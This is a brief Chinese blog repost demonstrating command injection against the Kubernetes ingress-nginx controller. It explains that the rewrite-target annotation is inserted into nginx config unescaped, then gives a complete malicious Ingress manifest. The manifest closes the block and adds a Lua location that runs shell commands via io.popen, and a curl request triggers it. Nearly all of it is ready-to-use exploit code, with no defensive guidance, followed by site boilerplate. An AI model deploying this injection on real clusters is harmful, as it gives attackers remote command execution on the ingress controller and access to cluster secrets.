安装
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml
k apply -f deploy.yaml
原理
nginx.ingress.kubernetes.io/rewrite–target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令
nginx.ingress.kubernetes.io/rewrite-target: |
execute-command/ last; #用于将所有请求重定向到/execute-command
}
#注入了一个新路径,用于通过lua脚本执行命令
location execute-command/ {
content_by_lua_block {
local handle = io.popen("ls -l")
local result = handle:read("*a")
handle:close()
ngx.say(result)
}
}
location /fs/{
演示
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/rewrite-target: |
execute-command/ last;
}
location execute-command/ {
content_by_lua_block {
local handle = io.popen("ls -l")
local result = handle:read("*a")
handle:close()
ngx.say(result)
}
}
location /fs/{
spec:
rules:
- host: k8s.evil.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 8080
curl --header "Host: k8s.evil.me" http://10.98.219.148/
原文地址:https://blog.csdn.net/SHELLCODE_8BIT/article/details/134671472
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_5461.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。